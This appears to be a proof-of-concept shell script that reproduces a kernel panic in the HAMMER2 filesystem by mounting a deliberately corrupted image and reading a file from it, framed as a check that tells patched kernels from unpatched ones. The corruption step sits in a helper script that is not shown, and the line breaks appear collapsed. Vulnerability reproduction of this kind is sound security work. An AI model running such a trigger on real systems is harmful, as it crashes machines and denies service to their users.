DF-0804 / trigger.sh
#!/bin/sh # DF-0804 trigger: craft a HAMMER2 image with an out-of-range data-blockref # compression method, mount it as root, and read the file. On the unpatched # kernel this panics in hammer2_strategy_read_completion (unknown compression # type). On a fixed kernel the read returns EIO gracefully (no panic). # # Threat model: filesystem-image parsing (root mounts a crafted HAMMER2 image, # e.g. from external media / a downloaded image). # # Runs the corruption step with python3 (pure-python XXH64+CRC32C, no deps). set -eu IMG="${1:-/root/h2_corrupt.img}" PY="${PYTHON:-python3}" # Build a fresh HAMMER2 image if none supplied, write one 64 KiB data file. if [ ! -f "$IMG" ]; then echo ">> creating fresh 256 MB HAMMER2 image at $IMG" dd if=/dev/zero of="$IMG" bs=1m count=0 seek=256 2>/dev/null DEV=$(vnconfig -c -S labels -T '' "$IMG" 2>/dev/null | sed 's/.* //;s/.*=//' || true) # fall back: find a free vn DEV=${DEV:-$(vnconfig -l 2>/dev/null | awk 'NR==1{print $1;exit}')} : "${DEV:=vn1}" vnconfig -u "$DEV" 2>/dev/null || true vnconfig -c -S labels -T "$DEV" "$IMG" newfs_hammer2 -L BOOT "/dev/$DEV" >/dev/null 2>&1 mkdir -p /mnt/h2_df0804 mount_hammer2 "/dev/$DEV@BOOT" /mnt/h2_df0804 dd if=/dev/urandom of=/mnt/h2_df0804/target.bin bs=64k count=1 2>/dev/null sync; umount /mnt/h2_df0804; vnconfig -u "$DEV" fi echo ">> corrupting image (flip DATA bref comp NONE->4, re-weave CRC chain)" "$PY" "$(dirname "$0")/corrupt_image.py" "$IMG" DEV=vn1 vnconfig -u "$DEV" 2>/dev/null || true vnconfig -c -S labels -T "$DEV" "$IMG" mkdir -p /mnt/h2_df0804 echo ">> mounting $DEV (crafted image)" mount_hammer2 "/dev/$DEV@BOOT" /mnt/h2_df0804 echo ">> reading target.bin ... (unpatched kernel panics here)" cat /mnt/h2_df0804/target.bin > /dev/null RC=$? echo ">> read exit code: $RC (0 = clean read on a FIXED kernel)" umount /mnt/h2_df0804 2>/dev/null || true vnconfig -u "$DEV" 2>/dev/null || true |